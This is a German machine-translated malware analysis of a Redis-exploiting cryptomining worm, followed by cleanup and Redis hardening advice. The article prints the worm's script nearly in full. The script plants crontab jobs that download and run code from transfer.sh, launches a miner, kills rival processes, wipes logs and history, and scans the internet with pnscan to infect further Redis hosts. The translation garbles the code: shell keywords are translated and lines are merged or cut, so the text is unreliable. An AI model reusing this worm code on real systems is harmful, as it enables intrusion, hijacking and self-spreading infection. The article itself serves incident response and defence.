1. Hintergrund
Seit der Offenlegung der Angriffsmethode zum Erhalten von Root-Berechtigungen des Linux-Systems aufgrund des Redis-Unautorisierungsproblems nutzen Hacker dieses Problem aufgrund seiner Benutzerfreundlichkeit, um in Linux-Dienste zum Mining, Scannen usw. einzudringen. Unter anderem Bei der Schwarzproduktion gibt es eine Art von Mining, die dieses Problem ausnutzt und pnscan verwendet, um andere Maschinen automatisch zu scannen und zu infizieren. Diese Art von Angriff hat es schon immer gegeben, aber sie hat in letzter Zeit einen zunehmenden Trend gezeigt und wurde in letzter Zeit mehrfach erfasst , wir werden eine detaillierte Analyse dazu durchführen.
2. Beschreibung der Schwachstelle
Lassen Sie mich zunächst die ausgenutzte Sicherheitslücke erläutern. Wenn keine Firewall zur Abschirmung verwendet wird, wird der Redis-Dienst dem öffentlichen Netzwerk ausgesetzt In diesem Fall kann es dazu führen, dass jeder Benutzer ohne Autorisierung auf Redis zugreift und Redis-Daten liest, während er Zugriff auf den Zielserver hat. Durch die Verwendung von Redis-bezogenen Methoden ohne Autorisierung für den Zugriff auf Redis kann der Angreifer seinen öffentlichen Schlüssel erfolgreich in die Datei „authorized_keys“ im Ordner „~/.ssh“ des Zielservers schreiben und sich dann direkt beim Zielserver anmelden, wenn der Redis-Dienst aktiviert ist Beginnend mit Root-Rechten können Sie dieses Problem nutzen, um direkt Root-Rechte auf dem Server zu erlangen.
Bei der Suche auf ZoomEye und SHODAN wurde festgestellt, dass viele Redis-Dienste im öffentlichen Netzwerk geöffnet sind und diese Dienste möglicherweise zum Ziel von Angriffen werden.
3. Einbruchsanalyse
Nach der Analyse der erfassten Ereignisse haben wir festgestellt, dass der gesamte Einbruchsprozess wahrscheinlich die folgenden Links umfasst: 1. Scannen Sie den Linux-Server mit geöffnetem Port 6379 (das nachfolgende Netzwerksegment zum Infektionsscannen ist 1.0.0.0/16 bis 224.255.0.0/16)
2. Versuchen Sie, über redis-cli eine Verbindung zu Redis herzustellen und den in der .dat-Datei voreingestellten Auslastungsbefehl auszuführen, um die Redis-Datendatei in /var/spool/cron/root zu ändern, und fügen Sie dann die Daten in Redis ein, um sie herunterzuladen und auszuführen Skript. Crontab-Aufgabe zum Schreiben von Aktionen
3. Implementieren Sie die oben genannten Verhaltensweisen durch Skripte, schließen Sie die Implantation ab und starten Sie das Mining-Programm
4. Kompilieren und installieren Sie pnscan erneut und fahren Sie mit dem Scannen und Infizieren des nächsten Ziels fort
IV. Skriptanalyse
Die Hauptfunktion des gesamten Eindringens und der anschließenden Infektion basiert auf dem Herunterladen und Ausführen des NaNd-Skripts, indem wir das Redis-Problem in die Crontab-Aufgabe schreiben Grundsätzlich erhalten Sie alle Details des gesamten Prozesses. Dies ist ein Basisskript. Wir können die zugehörigen Funktionen durch Interpretation analysieren.
1. Schlaf 1
2. find . -maxlength 1 -name „.mxff0“ -type f -mmin +60 -delete
3. [ -f .mxff0 ] && Beenden 0
4. echo 0 > Solange dieser Teil des Codes zur Beurteilung der wiederholten Ausführung verwendet wird, verwenden Sie die .mxff0-Datei als Markierungsdatei. Wenn die Datei vorhanden ist, bedeutet dies, dass das Skript auf dem Computer ausgeführt wurde, und beenden Sie es direkt. mxff0-Datei und fahren Sie mit dem nächsten Schritt fort
5. trap „rm -rf .m* NaNd tmp.* .r .dat $0“ EXIT
Legen Sie voreingestellte Aktionen fest, um zugehörige Dateien und das Skript selbst zu löschen, nachdem das Skript beendet wurde;
6. setenforce 0 2>/dev/null
7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
8. crontab -r 2>/dev/null
9. rm -rf /var/spool/cron 2>/dev/null
10. grep -q 8.8.8.8 /etc/resolv.conf ||. echo „nameserver 8.8.8.8“ >> 11. rm -rf /tmp/* 2>/dev/null
12. rm -rf /var/tmp/* 2>/dev/null
13. rm -rf /etc/root.sh 2>/dev/null
14. sync && echo 3 > /proc/sys/vm/drop_caches
15. cat <
16. *Hard Nofile 100000
17. *Soft Nofile 100000
18. Root-Hard-Nofile 100000
19. Root Soft Nofile 100000
20. *harter Nproc 100000
21. * Soft-Nproc 100000
22. Root Hard Nproc 100000
23. Root Soft Nproc 100000
24. EOF
In diesem Teil geht es hauptsächlich darum, die Systemkonfiguration zu ändern. In den Zeilen 6 und 7 wird SELINU ausgeschaltet Löschen Sie dann /var/spool/cron und stellen Sie dann fest, ob der System-DNS-Server 8.8.8.8 vorhanden ist. Wenn nicht, fügen Sie ihn hinzu;
11-13 Löschen Sie das System-tmp-Verzeichnis und löschen Sie zugehörige Dateien;
Zeile 14 löscht den Systemcache, während die Zeilen 15–24 die Systemressourcengrenzen ändern;
25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP
26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT
27. ps xf |. grep -v grep |. grep „redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init“ |. while read pid _; do kill -9 „$pid“; Hier wird iptables hinzugefügt, um den Port 6379 so einzuschränken, dass nur lokaler Zugriff möglich ist. Gleichzeitig sind Mining-, Redis-Client-, Crawler- und andere Prozesse ebenfalls ein relativ einfacher Zweck, um ein erneutes Eindringen anderer zu verhindern Hacker und um mögliche Eindringlinge durch andere Hacker zu eliminieren;
28. rm -rf /tmp/* 2>/dev/null
29. rm -rf /var/tmp/* 2>/dev/null
30. echo 0 > /var/spool/mail/root
31. echo 0 > /var/log/wtmp
32. echo 0 > /var/log/secure
33. echo 0 > /root/.bash_history
Löschen Sie zugehörige Anmeldeprotokolle und den Verlauf der Befehlsvorgänge;
34. YUM_PACKAGE_NAME=“iptables gcc redis coreutils bash curl wget“
35. DEB_PACKAGE_NAME=“coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl“
36. if cat /etc/*release | 37. Lecker, alles sauber
38. yum install -y -q epel-release
39. yum install -y -q $YUM_PACKAGE_NAME
40. elif cat /etc/*release |. grep -qi Rot dann
41. Lecker, alles sauber
42. yum install -y -q epel-release
43. yum install -y -q $YUM_PACKAGE_NAME
44. elif cat /etc/*release |. grep -qi Fedora then
45. Lecker, alles sauber
46. yum install -y -q epel-release
47. yum install -y -q $YUM_PACKAGE_NAME
48. elif cat /etc/*release |. grep -qi Ubuntu then
49. export DEBIAN_FRONTEND=noninteractive
50. rm -rf /var/lib/apt/lists/*
51. apt-get update -q –fix-missing
52. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
53. elif cat /etc/*release |. grep -qi Debian; 54. export DEBIAN_FRONTEND=noninteractive
55. rm -rf /var/lib/apt/lists/*
56. apt-get update –fix-missing
57. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
58. elif cat /etc/*release |. grep -qi Mint; 59. export DEBIAN_FRONTEND=noninteractive
60. rm -rf /var/lib/apt/lists/*
61. apt-get update –fix-missing
62. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
63. elif cat /etc/*release |. grep -qi Knoppix then
64. export DEBIAN_FRONTEND=noninteractive
65. rm -rf /var/lib/apt/lists/*
66. apt-get update –fix-missing
67. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done
68. sonst
69. Ausfahrt 1
70. fi
71. Schlaf 1
72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); 73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12
74. Schlaf 1
75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112
76. fi
Der Hauptzweck dieser langen Inhaltsliste besteht darin, pnscan herunterzuladen, zu kompilieren und zu installieren. Anhand des Inhalts können wir die Beurteilung verschiedener Betriebssysteme erkennen, dann die abhängigen Module installieren und dann den Quellcode von pnscan zur Kompilierung herunterladen und Installation; warum Es wird kompiliert und installiert Es wird spekuliert, dass es mit verschiedenen Systemen kompatibel ist und der MD5 von pnscan bei jeder Kompilierung unterschiedlich ist, um die Bildung fester Merkmale zu vermeiden 77. tname=$( mktemp )
78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge
79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL
80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )
81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg
Dieser Teil umfasst hauptsächlich das Herunterladen des Mining-Programms und das Umbenennen in .gpg, das Hinzufügen von Ausführungsberechtigungen, das Löschen nach der Ausführung und das erneute Hochladen auf https://transfer.sh/, um einen neuen Link zu erhalten;
82. [ -z „$NMURL“ ] && NMURL=$OMURL
83. ncmd=$(basename $(mktemp))
84. sed 's|'"$OMURL"'|'"$NMURL"'|g' < $ncmd
85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )
86. echo ‚flushall‘ >
87. echo „config set dir /var/spool/cron“ >> 88. echo „config set dbfilename root“ >> 89. echo 'set Backup1 "tn*/2 * * * * curl -s '${NSURL}' > NaNd && bash NaNdnt"' .dat
90. echo ‘set Backup2 „tn*/5 * * * * wget -O NaNd ‚${NSURL}‘ && bash NaNdnt“‘ >> 91. echo 'set Backup3 „tn*/10 * * * * lynx -source ‚${NSURL}‘ > NaNd && bash NaNdnt“‘ >> 92. echo ‚speichern‘ >> .dat
93. echo ‚config set dir /var/spool/cron/crontabs‘ >> 94. echo ‚speichern‘ >> .dat
95. echo ‚exit‘ >> .dat
Dieser Teil des Inhalts generiert hauptsächlich eine neue .dat-Datei, einschließlich des Ersetzens der Download-Adresse des Mining-Programms im ursprünglichen NaNd-Skript durch die neue Adresse, die durch Hochladen auf https://transfer.sh/ im vorherigen Schritt erhalten wurde wie mit Redis Verwandte Sätze von ;
96. pnx=pnscan
97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan
98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan
99. für x in $( seq 1 224 | sort -R ); do
100. für y in $( seq 0 255 | sort -R ); do
101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .$x.$y.o
102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > 103. while read -r h p; 104. cat .dat |. redis-cli -h $h -p $p –raw &
105. fertig < 106. fertig
107. fertig
Der Hauptschritt besteht darin, pnscan aufzurufen, um das Subnetzsegment 1.0.0.0/16 bis 224.255.0.0/16 nach dem Ziel mit offenem Port 6379 und dem Betriebssystem Linux zu scannen, und dann redis-cli zu verwenden, um den Befehl in .dat auszuführen um mit der nächsten Zielinfektion fortzufahren; hier ist der -W-Parameterwert von pnscan „2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a“ und der konvertierte Inhalt ist „*1rn$4rnINFOrn“, der gesendet werden soll Eine Anfrage an den Ziel-Redis-Dienst, um verschiedene Informationen des Redis-Servers und statistische Werte abzurufen, und dann den -R-Parameterwert „6f 73 3a 4c 69 6e 75 78“ (der Inhalt nach der Konvertierung ist OS:Linux) verwenden, um zu bestimmen, ob es ist ein Linux-System.
108. echo 0 > /var/spool/mail/root 2 >/dev/null
109. echo 0 > /var/log/wtmp 2>/dev/null
110. echo 0 > /var/log/secure 2>/dev/null
111. echo 0 > /root/.bash_history 2>/dev/null
112. Ausfahrt 0
Der letzte Schritt ist die Abschlussarbeit, das Löschen der relevanten Protokolle und des Befehlsausführungsverlaufs. Gleichzeitig wird beim Beenden des Skripts die mit Trap am Anfang des Skripts voreingestellte Aktion ausgelöst und der Löschvorgang ausgeführt. Löschen zugehöriger Dateien und des Skripts selbst (rm -rf m* NaNd tmp .* .r .dat $0).
Durch die Interpretation des Skripts haben wir im Wesentlichen das Verhalten und den Invasionsprozess des gesamten Wurms verstanden, den wir zu Beginn beschrieben haben.
Darüber hinaus haben wir beim Lesen des Skripts festgestellt, dass der gesamte Einbruchsprozess zwar nicht sehr kompliziert ist, das Skript jedoch tatsächlich viele „technische“ Details zu berücksichtigen hat, was die Leute über die „gründliche Überlegung“ des Eindringlings staunen lässt:
1. Verwenden Sie die .mxff0-Datei zur wiederholten Ausführungsüberprüfung, um eine wiederholte Ausführung des Skripts zu vermeiden
2. Um den Erfolg zu steigern, einige Umgebungsvorverarbeitungen:
a) Schließen Sie SELINUX
b) Fügen Sie 8.8.8.8 DNS
hinzu c) Löschen Sie das tmp-Verzeichnis
d) Leeren Sie den Systemcache
e) Ändern Sie die Systemressourcengrenzen
3. Spurenentfernung
a) Verwenden Sie voreingestellte Trap-Aktionen, um zugehörige Dateien und das Skript selbst zu löschen, nachdem das Skript ausgeführt wurde
b) Löschen Sie wiederholt die zugehörigen Anmelde- und anderen Protokolle sowie den Befehlsausführungsverlauf
4. Prävention durch Gleichaltrige
a) Verwenden Sie iptables, um zu verhindern, dass der Redis-Dienst im öffentlichen Netzwerk geöffnet wird, was zu einem weiteren Eindringen führen könnte
b) Beseitigen Sie alle Eindringungsverhaltensweisen, die möglicherweise von Kollegen hinterlassen wurden, und beenden Sie damit verbundene Prozesse
5. Systemkompatibilität
a) Bestimmen Sie das Betriebssystem, führen Sie relevante Befehle gezielt aus, installieren Sie abhängige Pakete und maximieren Sie die Erfolgsquote der pnscan-Kompilierung und -Installation
b) Schalten Sie SELINUX aus und erreichen Sie dies durch Setenforce und Ändern von /etc/sysconfig/selinux
c) Schreiben Sie die Aufgabe zum Herunterladen und Ausführen des Skripts in Crontab und implementieren Sie sie über Curl, Wget und Lynx
d) Der Pnscan-Scan verbessert die Beurteilung des Betriebssystems und reduziert unnötige Infektionsversuche
6. Feature-Entfernung, Überlebensfortsetzung
a) Pnscan übernimmt die Installations- und Kompilierungsmethode, was nicht nur die Kompatibilität unter verschiedenen Systemen verbessert, sondern auch die Bildung fester MD5-Funktionen vermeidet
b) Verwenden Sie zum Übertragen https://transfer.sh. Jede Infektion generiert eine neue Verbindung, um zu vermeiden, dass feste Links feste Merkmale bilden c) Zugehörige Dateien, die auf das System heruntergeladen werden, verwenden zufällig generierte Dateinamen
Gerade aufgrund der verschiedenen „überlegten Überlegungen“ des Eindringlings kann die Erfolgsquote seiner Invasion und Infektion ein bestimmtes Niveau erreichen.
5. Sicherheitsvorschläge
Virenbereinigung und Systemwiederherstellung
Wir beziehen uns hauptsächlich auf die relevanten Verhaltensweisen des Skripts, um die entsprechenden Verhaltensweisen wiederherzustellen und zu löschen:
1. Schließen Sie SELINUX und öffnen Sie SELINUX entsprechend der ursprünglichen Systemumgebung und den Geschäftsanforderungen erneut
2. Löschen Sie /var/spool/cron und stellen Sie es gemäß der ursprünglichen Sicherung wieder her
3. Ändern Sie /etc/resolv.conf, um den DNS-Dienst 8.8.8.8 hinzuzufügen. Wenn es keine Auswirkungen gibt, können Sie es in Ruhe lassen oder löschen
4. Die Systemressourcenlimits wurden geändert (/etc/security/limits.conf), die je nach Backup-Situation wiederhergestellt werden können
5. Iptables-Regeln für Port 6379 hinzugefügt. Wenn es keine Auswirkungen auf das Geschäft hat, wird empfohlen, es beizubehalten
6. Beenden Sie die relevanten Prozesse, prüfen Sie, ob die vom Unternehmen benötigten Prozesse enthalten sind, und stellen Sie sie je nach Situation wieder her
7. Relevante Pakete wurden oben angezeigt. Sie können je nach Situation gelöscht oder beibehalten werden, wenn keine Auswirkungen vorliegen 8. Nach dem Kompilieren und Installieren von pnscan können Sie /usr/local/bin/pnscan
löschen 9. Die relevanten Protokolle und das tmp-Verzeichnis wurden gelöscht, was keine Auswirkungen auf das System hat und ignoriert werden kann
10. Mining-Prozess und pnscan gestartet, um nach Infektionen zu suchen, verarbeiten: .gpg, pnscan, direkt töten
Es enthält auch einige Zwischendateien. Obwohl das Skript entsprechende Löschvorgänge enthält, wird empfohlen, global nach Bestätigungen zu suchen: .mxff0, .x112, .gpg, .dat, NaNd, .r.xx.xx.o/l, tmp .xxxx
Verstärkung des Redis-Dienstes
1. Ändern Sie bei Bedarf das Bindungselement, um zu vermeiden, dass der Redis-Dienst für das externe Netzwerk geöffnet wird. Sie können iptables verwenden oder Tencent Cloud-Benutzer können den Zugriff auf Quellen über Sicherheitsgruppen einschränken 2. Starten Sie den Redis-Dienst nicht als Root, wenn dies keine Auswirkungen auf das Unternehmen hat. Es wird außerdem empfohlen, den Standardport 6379 zu ändern. Die meisten Angriffe, die auf nicht autorisierte Redis-Probleme abzielen, zielen auf den Standardport ab 3. Konfigurieren Sie AUTH und fügen Sie die Passwortüberprüfung hinzu, sodass Hacker, selbst wenn es für das öffentliche Netzwerk geöffnet ist, nicht auf den Redis-Dienst zugreifen können, um entsprechende Vorgänge auszuführen, es sei denn, das Passwort ist schwach
4. Verwenden Sie rename-command CONFIG „RENAME_CONFIG“, um die relevanten Befehle umzubenennen. Auf diese Weise kann der Hacker, selbst wenn er sich ohne Autorisierung mit dem Redis-Dienst verbindet, nur die relevanten Daten abrufen, sie aber nicht weiter ausnutzen
Das obige ist der detaillierte Inhalt vonAnalyse von Instanzen von Linux Redis Automated Mining-Infektionswürmern. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!